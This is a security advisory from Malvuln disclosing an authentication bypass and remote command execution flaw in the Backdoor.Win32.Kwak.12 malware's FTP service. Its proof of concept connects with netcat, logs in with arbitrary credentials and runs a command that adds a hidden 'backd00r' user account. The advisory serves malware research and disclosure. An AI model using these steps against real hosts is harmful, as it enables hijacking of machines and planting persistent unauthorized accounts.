Backdoor.Win32.Kwak.12 Authentication Bypass / Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Kwak.12  
Vulnerability: Remote Command Execution  
Description: The backdoor runs an FTP server that listens on TCP port 37885. The malware is packed using UPX which is trivial to unpack by using upx -d command, after observe various FTP commands supported using strings util, we find one interesting string entry named "execute". Turns out this will let us execute any command on the infected machine. Third-party adversaries can add a persistent backdoor account on the infected system or run any command they wish. This is easily accomplished as the malware also suffers from a authentication bypass issue reference MVID-2021-0147.  
  
execute cmd /c net user backd00r abc123 /add  
226 Executing...  
  
On the infected host.  
  
net user  
  
User accounts for \\DESKTOP-2X3IHHP  
-------------------------------------------------------------------------------  
Administrator backd00r DefaultAccount  
  
Type: PE32  
MD5: c25393545e5ead3a35996ef9a887bd34  
Vuln ID: MVID-2021-0149  
Dropped files:   
Disclosure: 03/25/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 37885  
  
USER malvuln  
331 Password required for malvuln.  
PASS root  
230 User malvuln logged in.  
  
execute cmd /c net user backd00r abc123 /add  
226 Executing...  
  
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